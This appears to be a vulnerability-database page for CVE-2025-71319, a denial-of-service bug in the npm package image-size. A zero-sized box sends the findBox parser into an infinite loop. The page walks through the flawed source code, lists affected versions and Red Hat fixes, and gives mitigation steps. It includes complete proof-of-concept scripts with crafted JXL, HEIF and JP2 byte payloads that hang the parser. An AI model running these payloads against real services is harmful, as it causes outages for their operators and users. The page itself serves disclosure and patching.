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CVE-2025-71319 — image-size

Fix: image-size/image-size#439

CVE-2025-71319 is a CWE-835 vulnerability in image-size. A fix is available for image-size — see the affected versions and patch details below.

image-size 2.0.2 Denial of Service via Infinite Loop in JXL/HEIF Parser

Also known asGHSA-m5qc-5hw7-8vg7
Published
Updated
Affected
2 pkgs
Patched
2 / 2
Exploits
None indexed
Exploitation data as of Nov 7, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2025-71319.

EPSS Exploitation Probability

via FIRST.org ↗
0.7%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs54th percentile — riskier than 54% of all scored CVEsHighest risk
0.13%0.49%0.86%1.23%0.6%0.7%Jul 26Oct 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

2 pkgs affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

3Kother npm packages depend on this — each one inherits the vulnerability until it's patched upstream
image-sizenpm
40.0Mdownloads / week

Description

Summary

image-size is vulnerable to a Denial of Service vulnerability when processing specially crafted images.

The issue occurs because of an infine loop in findBox when processing certain images with a box with size 0.

Details

If the first bytes of the input does not match any bytes in firstBytes, then the package tries to validate the image using other handlers:

// https://github.com/image-size/image-size/blob/v1.2.0/lib/detector.ts#L20-L31
export function detector(input: Uint8Array): imageType | undefined {
  const byte = input[0]
  if (byte in firstBytes) {
    const type = firstBytes[byte]
    if (type && typeHandlers[type].validate(input)) {
      return type
    }
  }

  const finder = (key: imageType) => typeHandlers[key].validate(input) //<--
  return keys.find(finder)
}

Some handlers that call findBox to validate or calculate the image size are jxl, heif and jp2.

JXL handler calls findBox inside validate. To reach the findBox call, the value at position 4:8 should be 'JXL '

// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/jxl.ts#L51-L60
export const JXL: IImage = {
  validate: (input: Uint8Array): boolean => {
    const boxType = toUTF8String(input, 4, 8)
    if (boxType !== 'JXL ') return false      //<---

    const ftypBox = findBox(input, 'ftyp', 0) //<---
    if (!ftypBox) return false

    const brand = toUTF8String(input, ftypBox.offset + 8, ftypBox.offset + 12)
    return brand === 'jxl '
  },

findBox can lead to an infinite loop because the value of box.size is 0, thus the offset variable is not updated. Below relevant code with comments (using one of the PAYLOAD below as example):

// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L33-L37
export const readUInt32BE = (input: Uint8Array, offset = 0) =>
  input[offset] * 2 ** 24 +     // 0 +
  input[offset + 1] * 2 ** 16 + // 0 +
  input[offset + 2] * 2 ** 8 +  // 0 +
  input[offset + 3]             // 0

// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L66-L75
function readBox(input: Uint8Array, offset: number) {   // offset: 0
  if (input.length - offset < 4) return
  const boxSize = readUInt32BE(input, offset)           // 0
  if (input.length - offset < boxSize) return           // (8 - 0) < 0 => false
  return {
    name: toUTF8String(input, 4 + offset, 8 + offset),  // 'JXL '
    offset,                                             // 0
    size: boxSize,                                      // 0
  }
}

// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L77-L84
export function findBox(input: Uint8Array, boxName: string, offset: number) { // boxName: 'ftyp', offset: 0
  while (offset < input.length) {         // 0 < 8 => false
    const box = readBox(input, offset)    // { name: 'JXL ', offset: 0, size: 0 }
    if (!box) break                       // false
    if (box.name === boxName) return box  // 'JXL ' === 'ftyp' => false
    offset += box.size                    // offset += 0
  }
}

A similar issue occurs for HEIF and JP2 handlers:

PoC

Usage:

node main.js poc1|poc2

// mkdir 2.0.1
// cd 2.0.1/
// npm i [email protected]
const {imageSizeFromFile} = require("image-size/fromFile");
const {imageSize} = require("image-size");

const fs = require('fs');

// JXL
const PAYLOAD = new Uint8Array([
  0x00, 0x00, 0x00, 0x00, // Box with size 0
  0x4A, 0x58, 0x4C, 0x20, // "JXL "
]);

// HEIF
// const PAYLOAD = new Uint8Array([
//   0x00, 0x00, 0x00, 0x00, // Box with size 0
//   0x66, 0x74, 0x79, 0x70, // "ftyp"
//   0x61, 0x76, 0x69, 0x66  // "avif"
// ]);

// JP2
// const PAYLOAD = new Uint8Array([
//   0x00, 0x00, 0x00, 0x00, // Box with size 0
//   0x6A, 0x50, 0x20, 0x20, // "jP  "
// ]);

const FILENAME = "./poc.svg"

function createPayload() {
  fs.writeFileSync(FILENAME, PAYLOAD);
}

function poc1() { 
  (async () => {
    await imageSizeFromFile(FILENAME)
    console.log('Done') // never executed
  })();
}

function poc2() {
  imageSize(PAYLOAD)
  console.log('Done') // never executed
}

const pocs = new Map();
pocs.set('poc1', poc1); // node main.js poc1
pocs.set('poc2', poc2); // node main.js poc2

async function run() {
  createPayload()
  const args = process.argv.slice(2);
  const t = args[0];
  const poc = pocs.get(t) || poc1;
  console.log(`Running poc....`)
  await poc();
}

run();

// mkdir 1.2.0
// cd 1.2.0/
// npm i [email protected]
const sizeOf = require("image-size");
const fs = require('fs');

// JXL
const PAYLOAD = new Uint8Array([
  0x00, 0x00, 0x00, 0x00, // Box with size 0
  0x4A, 0x58, 0x4C, 0x20, // "JXL "
]);

// HEIF
// const PAYLOAD = new Uint8Array([
//   0x00, 0x00, 0x00, 0x00, // Box with size 0
//   0x66, 0x74, 0x79, 0x70, // "ftyp"
//   0x61, 0x76, 0x69, 0x66  // "avif"
// ]);

// JP2
// const PAYLOAD = new Uint8Array([
//   0x00, 0x00, 0x00, 0x00, // Box with size 0
//   0x6A, 0x50, 0x20, 0x20, // "jP  "
// ]);

const FILENAME = "./poc.svg"

function createPayload() {
  fs.writeFileSync(FILENAME, PAYLOAD);
}

function poc1() {
  sizeOf(FILENAME)
  console.log('Done') // never executed
}

function poc2() {
  sizeOf(PAYLOAD)
  console.log('Done') // never executed
}

const pocs = new Map();
pocs.set('poc1', poc1); // node main.js poc1
pocs.set('poc2', poc2); // node main.js poc2

async function run() {
  createPayload()
  const args = process.argv.slice(2);
  const t = args[0];
  const poc = pocs.get(t) || poc1;
  console.log(`Running poc....`)
  await poc();
}

run();

// mkdir 1.1.1
// cd 1.1.1/
// npm i [email protected]
const sizeOf = require("image-size");
const fs = require('fs');

// HEIF
const PAYLOAD = new Uint8Array([
  0x00, 0x00, 0x00, 0x00, // Box with size 0
  0x66, 0x74, 0x79, 0x70, // "ftyp"
  0x61, 0x76, 0x69, 0x66  // "avif"
]);

const FILENAME = "./poc.svg"

function createPayload() {
  fs.writeFileSync(FILENAME, PAYLOAD);
}

function poc1() {
  sizeOf(FILENAME)
  console.log('Done') // never executed
}

function poc2() {
  sizeOf(PAYLOAD)
  console.log('Done') // never executed
}

const pocs = new Map();
pocs.set('poc1', poc1); // node main.js poc1
pocs.set('poc2', poc2); // node main.js poc2

async function run() {
  createPayload()
  const args = process.argv.slice(2);
  const t = args[0];
  const poc = pocs.get(t) || poc1;
  console.log(`Running poc....`)
  await poc();
}

run();

Impact

Denial of Service

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
📦npmimage-size≥ 1.1.0&&< 1.2.11.2.1npm install image-size@1.2.1
📦npmimage-size≥ 2.0.0&&< 2.0.22.0.2npm install image-size@2.0.2

Affected Products

5 products · 6 configurations
Application
image-sizeimage-size
≥ 2.0.0 && ≤ 2.0.2
range
Application
discoveryredhat
1 version
2.0
OS
enterprise linuxredhat
1 version
8.0
Application
gatekeeperredhat
1 version
3.0
Application
trusted artifact signerredhat
≥ 1.4 && < 1.4.2
range

Detection & mitigation playbook

Open-source dependency

  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for image-size, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update image-size to 1.2.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-71319 is resolved across your whole dependency graph.

  3. Workarounds

    Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatImportant

This is an Important denial of service vulnerability in the `image-size` component, which can be triggered remotely by processing specially crafted JXL, HEIF, or JP2 image files containing zero-sized boxes. This flaw can lead to an application hang due to an infinite loop in the `findBox` function, impacting the…

Workaround published by Red Hat
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.
Source: Red Hat security advisory for CVE-2025-71319 (CC BY 4.0)
ProductFixed inAdvisory
Red Hat Discovery 2discovery/discovery-ui-rhel9:1782756541RHSA-2026:33313
Red Hat Trusted Artifact Signer 1.4rhtas/rekor-search-ui-rhel9:1783327185RHSA-2026:37272

Frequently Asked Questions

### Summary `image-size` is vulnerable to a Denial of Service vulnerability when processing specially crafted images. The issue occurs because of an infine loop in `findBox` when processing certain images with a box with size `0`. ### Details If the first bytes of the input does not match any bytes in `firstBytes`, then the package tries to validate the image using other handlers: ```js // https://github.com/image-size/image-size/blob/v1.2.0/lib/detector.ts#L20-L31 export function detector(input: Uint8Array): imageType | undefined { const byte = input[0] if (byte in firstBytes) {
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CVE-2025-71319: image-size DoS — Fixed in 1.2.1